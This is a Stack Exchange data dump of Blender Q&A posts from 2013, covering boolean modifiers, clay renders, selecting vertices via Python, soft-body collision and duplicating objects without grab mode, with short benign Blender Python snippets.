  <row Id="1402" PostTypeId="2" ParentId="1401" CreationDate="2013-06-26T23:56:38.967" Score="12" Body="&lt;p&gt;For the bit about them disappearing when you use a modifier, this is fairly simple enough, just duplicate the object and change the modifier &lt;em&gt;Operation&lt;/em&gt; on one of them to &lt;em&gt;Difference&lt;/em&gt; and on the other, set it to &lt;em&gt;Intersect&lt;/em&gt; and target them at the same object that you want to use and split the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should now have two separate objects and still be able to modify them via their unique boolean modifier, when you are satisfied, simply &lt;em&gt;apply&lt;/em&gt; the modifier and separate them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the image below, I have two separate objects but each has a boolean modifier with the same target which is the plane &lt;em&gt;(I have set its draw type to Bounds so the objects can be seen easier)&lt;/em&gt;. I have also applied the boolean modifier to the top piece so I am able to separate it from the rest of the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LDnep.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-06-26T23:56:38.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1403" PostTypeId="2" ParentId="1393" CreationDate="2013-06-27T00:21:18.717" Score="7" Body="&lt;p&gt;Or you may try to simply put a particle system onto&#xA;the leaves without any hassle, when you need only random&#xA;fruits on it, but no precise control over their position.&#xA;Emit from faces with low amont, experiment with velocity&#xA;and rotation, render with object or group. For still&#xA;particel systems I usually use - 1 start 1 end.&#xA;See the example. I did not take the time to make&#xA;it photorealistic. It came to my mind, you may&#xA;control the fruits position with vertex groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rSdhv.png&quot; alt=&quot;tree with apples&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2016-08-01T12:40:40.347" LastActivityDate="2016-08-01T12:40:40.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1404" PostTypeId="1" AcceptedAnswerId="1411" CreationDate="2013-06-27T00:52:59.597" Score="17" ViewCount="26084" Body="&lt;p&gt;Sometimes, I find that it is useful to do a Clay Render for my model, where all of the materials render with a single common &quot;clay&quot;-like material (see example image below). In the past, I have done this by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Selecting all of my objects by using the &lt;kbd&gt;A&lt;/kbd&gt; hotkey&lt;/li&gt;&#xA;&lt;li&gt;Manually deselecting the World object, camera, and lights in the Outliner&lt;/li&gt;&#xA;&lt;li&gt;Linking materials using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Manually setting to the same material in the Properties&gt;Materials menu&lt;/li&gt;&#xA;&lt;li&gt;Render like normal&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I was done with my Clay render, I would revert to the old version by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; a few time. However, this is a rather clunky solution, since I can't make any edits in the clay version without losing my old materials/textures data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to do Clay renders, either with an addon or through some other technique such that I can make edits to my model and not lose my materials? If at all possible, I would like a single setting that allows me to quickly toggle clay-mode on and off in the same file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example &quot;Clay Render&quot;:&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zj4Lv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2020-11-12T12:58:08.263" Title="How to quickly do a clay render?" Tags="&lt;rendering&gt;&lt;materials&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1405" PostTypeId="2" ParentId="1404" CreationDate="2013-06-27T00:52:59.597" Score="10" Body="&lt;p&gt;The short answer is that it depends on which render engine you are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cycles: Wireframe addon&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?239505-setup-a-wire-render&quot; rel=&quot;noreferrer&quot;&gt;'Wireframe'&lt;/a&gt; addon will allow you to toggle clay materials on your objects using the 'Object Tools' panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the addon:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download the addon from &lt;a href=&quot;http://dl.dropbox.com/u/16486113/Blender/archivos/wire_mat_gui.py&quot; rel=&quot;noreferrer&quot;&gt;this site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;In your User Preferences&gt;Addons view, choose 'Install from File' at the bottom of the screen and select the addon file&lt;/li&gt;&#xA;&lt;li&gt;Select all objects by pressing &lt;kbd&gt;A&lt;/kbd&gt; then deselect emission lights in the Outliner&lt;/li&gt;&#xA;&lt;li&gt;In the 'Object Tools' panel on the left-hand side of your screen, scroll down to 'Setup Wire Render'&lt;/li&gt;&#xA;&lt;li&gt;Check 'Selected Meshes' then press 'Apply Materials'&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Result:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WAeH3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blender Internal: Clay Render addon&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Render/Clay_Render&quot; rel=&quot;noreferrer&quot;&gt;'Clay Render'&lt;/a&gt; addon adds an option in the Properties&gt;Render menu that allows you to quickly toggle clay on and off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the addon:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download the most recent version from &lt;a href=&quot;https://svn.blender.org/svnroot/bf-extensions/contrib/py/scripts/addons/render_clay.py&quot; rel=&quot;noreferrer&quot;&gt;this site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;In your User Preferences&gt;Addons view, choose 'Install from File' at the bottom of the screen and select the addon file&lt;/li&gt;&#xA;&lt;li&gt;In the Properties&gt;Render&gt;Render menu, check the box titles 'Clay Render'&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Result:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cZZFz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Needless to say, Cycles is better.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-06-27T00:52:59.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1406" PostTypeId="1" AcceptedAnswerId="1420" CreationDate="2013-06-27T00:57:15.573" Score="8" ViewCount="621" Body="&lt;p&gt;After duplication, objects automaticaly follow the mouse pointer, is there a way to disable this behavior?&lt;/p&gt;&#xA;" OwnerUserId="761" LastEditorUserId="12" LastEditDate="2016-10-18T21:47:31.627" LastActivityDate="2021-03-06T02:07:25.140" Title="Disable object automatic dragging after duplication" Tags="&lt;objects&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1407" PostTypeId="5" CreationDate="2013-06-27T01:00:12.023" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-27T01:00:12.023" LastActivityDate="2013-06-27T01:00:12.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1408" PostTypeId="4" CreationDate="2013-06-27T01:00:12.023" Score="0" Body="Questions about Blender's graph editor. The graph editor is used for editing animated objects using F-Curves." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-06-27T01:00:49.613" LastActivityDate="2013-06-27T01:00:49.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1409" PostTypeId="5" CreationDate="2013-06-27T01:03:29.223" Score="0" Body="&lt;p&gt;User Preferences on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences&quot; rel=&quot;nofollow&quot;&gt;blender wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-05-16T01:07:21.773" LastActivityDate="2014-05-16T01:07:21.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1410" PostTypeId="4" CreationDate="2013-06-27T01:03:29.223" Score="0" Body="Questions pertaining to Blender's user preferences. User Preferences are settings that can be customized to change the way blender behaves." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-06-27T01:04:35.610" LastActivityDate="2013-06-27T01:04:35.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1411" PostTypeId="2" ParentId="1404" CreationDate="2013-06-27T01:19:12.540" Score="25" Body="&lt;p&gt;In the &lt;strong&gt;Properties&lt;/strong&gt; area, &lt;strong&gt;Render&lt;/strong&gt; tab, &lt;strong&gt;Layer&lt;/strong&gt; group, there's a setting to override every object's material:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GMrFW.png&quot; alt=&quot;Material Override&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;As of &lt;strong&gt;Blender 2.8x&lt;/strong&gt; there is a new &lt;em&gt;Override&lt;/em&gt; panel as part of the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/layers/layers.html#override&quot; rel=&quot;nofollow noreferrer&quot;&gt;View Layer Properties&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PRT1K.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PRT1K.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="31447" LastEditDate="2020-11-12T12:58:08.263" LastActivityDate="2020-11-12T12:58:08.263" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="1412" PostTypeId="1" AcceptedAnswerId="1417" CreationDate="2013-06-27T01:28:27.460" Score="22" ViewCount="17663" Body="&lt;p&gt;What's the best/fastest way to construct a list of selected vertices for a mesh object in python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to avoid iterating over every vertex in the mesh if possible, since that seems like a really inefficient/wasteful way to go about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a nice attribute called &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bmesh.types.html#bmesh.types.BMesh.select_history&quot;&gt;&lt;strong&gt;select_history&lt;/strong&gt;&lt;/a&gt; in the bmesh module that gives you a list of vertices in the order that they were selected...but of course, it will only give you verts that have been selected manually (not by box or circle select) after the bmesh was initialized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been searching through the edit mesh api for an attribute that will give me an updated list of selected verts (so that I don't have to iterate over the whole mesh). Does such a thing not exist?&lt;/p&gt;&#xA;" OwnerUserId="417" LastActivityDate="2021-02-22T20:40:00.897" Title="Efficient way to get selected vertices via python (without iterating over the entire mesh)" Tags="&lt;python&gt;&lt;mesh&gt;&lt;vertices&gt;&lt;bmesh&gt;" AnswerCount="8" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1414" PostTypeId="1" AcceptedAnswerId="123533" CreationDate="2013-06-27T01:45:00.917" Score="13" ViewCount="6898" Body="&lt;p&gt;Is it possible to have two (or more) Soft body objects collide in Blender? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried enabling self-collision, but distinct objects don't seem to interact with each other at all.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="29301" LastEditDate="2018-10-10T06:25:02.473" LastActivityDate="2018-12-07T13:45:37.373" Title="Soft body to Soft body collision" Tags="&lt;physics&gt;&lt;collision&gt;&lt;soft-body&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="1415" PostTypeId="5" CreationDate="2013-06-27T01:48:50.557" Score="0" Body="&lt;p&gt;Actuators are used to make different actions happen in the &lt;em&gt;Game Engine&lt;/em&gt; (also know as the BGE) when they are activated.&lt;br&gt;&#xA;Actuators are edited in the &lt;em&gt;Logic Editor&lt;/em&gt;, along with &lt;em&gt;Sensors&lt;/em&gt; and &lt;em&gt;Controllers&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a list of all the different types of actuators:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Action &lt;/li&gt;&#xA;&lt;li&gt;Camera &lt;/li&gt;&#xA;&lt;li&gt;Constraint &lt;/li&gt;&#xA;&lt;li&gt;Edit Object &lt;/li&gt;&#xA;&lt;li&gt;Filter 2D &lt;/li&gt;&#xA;&lt;li&gt;Game &lt;/li&gt;&#xA;&lt;li&gt;Message &lt;/li&gt;&#xA;&lt;li&gt;Motion &lt;/li&gt;&#xA;&lt;li&gt;Parent &lt;/li&gt;&#xA;&lt;li&gt;Property &lt;/li&gt;&#xA;&lt;li&gt;Random &lt;/li&gt;&#xA;&lt;li&gt;Scene &lt;/li&gt;&#xA;&lt;li&gt;Sound &lt;/li&gt;&#xA;&lt;li&gt;State &lt;/li&gt;&#xA;&lt;li&gt;Steering &lt;/li&gt;&#xA;&lt;li&gt;Visibility &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For more information about each &lt;em&gt;Actuator&lt;/em&gt;, see the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Logic/Actuators&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-17T01:39:41.807" LastActivityDate="2013-07-17T01:39:41.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1416" PostTypeId="4" CreationDate="2013-06-27T01:48:50.557" Score="0" Body="Questions about Blender Game Engine actuators. Actuators tell things (create an object, play a sound, etc.) to happen when there is a signal from a controller (e.g. a keyboard)" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-06-27T01:55:11.880" LastActivityDate="2013-06-27T01:55:11.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1417" PostTypeId="2" ParentId="1412" CreationDate="2013-06-27T01:50:58.503" Score="20" Body="&lt;p&gt;You have to iterate over the entire mesh since blender isn't storing this data in a separate list internally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the following line of code to get a list if selected vertices from a &lt;code&gt;bpy.types.Mesh&lt;/code&gt; object ('mesh' in the code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;selected_verts = list(filter(lambda v: v.select, mesh.vertices))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or with list comprehension:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;selected_verts = [v for v in mesh.vertices if v.select]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, in most cases, brute force looping through all the vertices of the mesh should be fine.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="55" LastEditDate="2013-06-27T05:25:18.957" LastActivityDate="2013-06-27T05:25:18.957" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1418" PostTypeId="5" CreationDate="2013-06-27T01:56:07.760" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-27T01:56:07.760" LastActivityDate="2013-06-27T01:56:07.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1419" PostTypeId="4" CreationDate="2013-06-27T01:56:07.760" Score="0" Body="Questions about the various ways one can edit objects with symmetry. e.g. the Mirror modifier, scaling by -1, Ctrl + M, the Array modifier, etc. " OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-28T00:15:07.343" LastActivityDate="2013-08-28T00:15:07.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1420" PostTypeId="2" ParentId="1406" CreationDate="2013-06-27T01:59:07.167" Score="9" Body="&lt;p&gt;As per the &lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/editing/duplicating/duplicate.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; when you duplicate an object in Blender..&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;..this will create a visually identical copy of the selected object(s).&#xA;  The copy is created at the same position as the original object and&#xA;  &lt;strong&gt;you are automatically placed in Grab mode&lt;/strong&gt;..&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't think this is possible out of the box with Blender the way you are asking. At most, you can hit &lt;kbd&gt;Esc&lt;/kbd&gt; after you duplicate an object or right click to cancel the grab.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you insist however, it is possible to write a small script and add this to the &lt;em&gt;3D View&lt;/em&gt;'s header and register shortcuts etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.ops.object.html#bpy.ops.object.duplicate&quot; rel=&quot;nofollow noreferrer&quot;&gt;API reference&lt;/a&gt;, I found a function &lt;code&gt;bpy.ops.object.duplicate()&lt;/code&gt; that says &lt;em&gt;Duplicate selected objects&lt;/em&gt;. You can put this into a small script and register some shortcuts for ease of use. &lt;em&gt;(it's not perfect code but it works)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class Duplicate(bpy.types.Operator):&#xA;    bl_idname = &quot;object.duplicate_no_drag&quot;&#xA;    bl_label = &quot;Duplicate&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    def execute(self, context):&#xA;        scene = context.scene&#xA;        obj = scene.objects.active&#xA;        bpy.ops.object.duplicate()&#xA;        return {'FINISHED'}&#xA;&#xA;def menu_func(self, context):&#xA;    self.layout.operator(Duplicate.bl_idname)&#xA;&#xA;addon_kmaps = []&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(Duplicate)&#xA;    bpy.types.VIEW3D_MT_object.append(menu_func)&#xA;&#xA;    wm = bpy.context.window_manager&#xA;    km = wm.keyconfigs.addon.keymaps.new(name='Object Mode', space_type='EMPTY')&#xA;    kmi = km.keymap_items.new(Duplicate.bl_idname, 'D', 'PRESS', ctrl=True, shift=True)&#xA;    addon_kmaps.append(km)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(Duplicate)&#xA;    bpy.types.VIEW3D_MT_object.remove(menu_func)&#xA;&#xA;    wm = bpy.context.window_manager&#xA;    for km in addon_kmaps:&#xA;        wm.keyconfigs.addon.kmaps.remove(km)&#xA;    del addon_kmaps[:]&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you run this, you should get a new menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pT3VO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, you can call it with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;D&lt;/kbd&gt; and you should now be able to duplicate objects and not enter &lt;em&gt;grab&lt;/em&gt; mode.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, while writing this script, it's worth noting that if you use the console or the text editor and run the command that is behind the default 'duplicate objects' command..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.duplicate_move()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it duplicates the selected object and doesn't enter grab mode. This is because of the context that's given to the operator to run in. In the &lt;em&gt;3D View&lt;/em&gt; it is run in the context &lt;code&gt;'INVOKE_DEFAULT'&lt;/code&gt; if you run it from a script or from the console it gets run in the context &lt;code&gt;'EXEC_DEFAULT'&lt;/code&gt;. Look at the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.ops.html?highlight=operator%20calls#execution-context&quot; rel=&quot;nofollow noreferrer&quot;&gt;API reference&lt;/a&gt; for more info about this. Thanks to &lt;a href=&quot;https://blender.stackexchange.com/users/668/jasperge&quot;&gt;jasperge&lt;/a&gt; for the explanation. &lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2016-10-18T21:49:21.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1422" PostTypeId="1" AcceptedAnswerId="1446" CreationDate="2013-06-26T21:24:02.553" Score="3" ViewCount="1232" Body="&lt;p&gt;I am trying to get simple animations to work, exporting from Blender and importing into my application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first attempt was as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open Blender at factory settings.&lt;/li&gt;&#xA;&lt;li&gt;Select the default cube and insert a location keyframe.&lt;/li&gt;&#xA;&lt;li&gt;Select another frame and move the cube. &lt;/li&gt;&#xA;&lt;li&gt;Insert a second location keyframe.&lt;/li&gt;&#xA;&lt;li&gt;Export to Collada.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When I open the Collada file using assimp it contains zero animations, even though in Blender the cube animates correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my next attempt, I inserted a bone armature with a single bone, made it the parent of the cube, and animated the bone instead. Again the animation worked correctly in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assimp now lists one animation but both key frames have the position [0, 0, 0]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestions as to how I can get animated (non-skinned) meshes from Blender into Assimp?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My ultimate goal here is to export animated meshes from Blender, process them offline into my own model format, and load them into my SharpDX based graphics engine..&lt;/p&gt;&#xA;" OwnerUserId="835" OwnerDisplayName="gareththegeek" LastEditorUserId="835" LastEditDate="2013-06-30T14:24:08.090" LastActivityDate="2013-06-30T14:24:08.090" Title="Export rigid (non-skinned) animation from Blender for consumption by AssImp" Tags="&lt;animation&gt;&lt;export&gt;&lt;collada&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1423" PostTypeId="2" ParentId="1032" CreationDate="2013-06-27T04:19:41.720" Score="1" Body="&lt;p&gt;To the best of my knowledge, Blender does not have a built-in setting for one-sided UV mapping. However, you can trick Blender into thinking that your plane has two distinct sides, which you can then UV unwrap independently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, add a &lt;em&gt;Solidify&lt;/em&gt; modifier, set the 'Thickness' value to 0, and hit 'Apply'. Now, when you go to UV unwrap, you will have two sides to map, one of which you can set to an image and leave the other blank by arranging them in the UV/Image Editor.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-06-27T04:19:41.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1424" PostTypeId="2" ParentId="1414" CreationDate="2013-06-27T05:26:40.883" Score="10" Body="&lt;p&gt;&quot;Self Collision&quot; is for the same object to collide with itself, not other objects/simulations.  Each soft body modifier acts as a separate simulation, they can't interact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So, select all the softbody objects that will collide, then &quot;Join&quot; them (Ctrl+J) into one object.&lt;/strong&gt;  Now the separate parts within the same object can use &quot;Self Collision&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Combined objects are not much more difficult to manage, just different.  You can still manipulate the separate parts within the same mesh like separate objects, just select a vertex of a part, then &quot;Select Linked All&quot; (Ctrl + L) to select the part for manipulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can keep a copy of all the separate objects in a hidden layer that you manipulate, then join them when you're ready to simulate.  You may have to combine/finagle the materials some, but that's for another question. )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Also, depending on what you are trying to accomplish, you may find &quot;Cloth Simulation&quot; to work faster and give better results than Soft Body, especially with self collisions.)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="583" LastEditorUserId="583" LastEditDate="2013-06-27T05:51:45.607" LastActivityDate="2013-06-27T05:51:45.607" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1425" PostTypeId="1" AcceptedAnswerId="1439" CreationDate="2013-06-27T05:35:59.263" Score="17" ViewCount="7303" Body="&lt;p&gt;They are definitely different, but soft body simulation is &lt;em&gt;very&lt;/em&gt; slow compared to cloth.. why?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2020-11-03T15:00:53.193" Title="What is the technical difference between softbody and cloth simulation?" Tags="&lt;physics&gt;&lt;cloth-simulation&gt;&lt;soft-body&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1426" PostTypeId="1" CreationDate="2013-06-27T05:40:26.330" Score="3" ViewCount="426" Body="&lt;p&gt;Is it possible to get BGE soft-body simulations into the normal viewport? I know you can get the animation of the object itself, (with record animation to keyframes) but how to get the distortions of the softbody?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="12" LastEditDate="2013-06-27T11:27:27.353" LastActivityDate="2013-06-27T11:27:27.353" Title="Export BGE Soft-body Distortions to 3D view?" Tags="&lt;game-engine&gt;&lt;physics&gt;&lt;soft-body&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1427" PostTypeId="2" ParentId="1393" CreationDate="2013-06-27T05:48:10.290" Score="2" Body="&lt;p&gt;Create your tree with rectangular faces, parent your object to the leaves object and enable Duplication Faces:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PHwjn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps someone could elaborate on a way to instance a group of objects instead of just a single one?&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-06-27T05:48:10.290" CommentCount="0" CommunityOwnedDate="2013-06-27T05:48:10.290" ContentLicense="CC BY-SA 3.0" />
  <row Id="1428" PostTypeId="2" ParentId="1426" CreationDate="2013-06-27T06:14:53.897" Score="2" Body="&lt;p&gt;It does not appear to be possible.  You'd probably have to write a script to export it, but:&#xA;&quot;There are no python bindings to control soft bodies, and no logic brick support, except for apply force and add object actuator. &quot; - &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Source/GameEngine/BulletSoftBody&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:Source/GameEngine/BulletSoftBody&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I can't yet reply to your question to clarify.  What are you trying to accomplish?  You have another question about multiple soft bodies colliding, is the problem related? like I said, combining them into one object works, but a drawback is they have to all have the same settings... but with more detail to your problem, there may be a way.)&lt;/p&gt;&#xA;" OwnerUserId="583" LastActivityDate="2013-06-27T06:14:53.897" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1430" PostTypeId="1" AcceptedAnswerId="1433" CreationDate="2013-06-27T08:42:51.777" Score="3" ViewCount="1348" Body="&lt;p&gt;While the &lt;em&gt;Floor&lt;/em&gt; and &lt;em&gt;Limit Distance&lt;/em&gt; constraints work well with the root bones of an armature. I don't get them to work with other non root bones. Is there any reason for that or do I miss a detail?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eQhyu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this setup the armature shown on the right has a &lt;em&gt;Limit Distance&lt;/em&gt; constraint when moving the slider Distance the whole armature moves. What I would like to achieve is that the tip is moving but a constraint at the right tip targeting the left tip seems to have  no effect.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-06-27T19:13:34.293" LastActivityDate="2016-07-21T01:23:59.470" Title="Do some Bone Constraints only work with Root Bones?" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
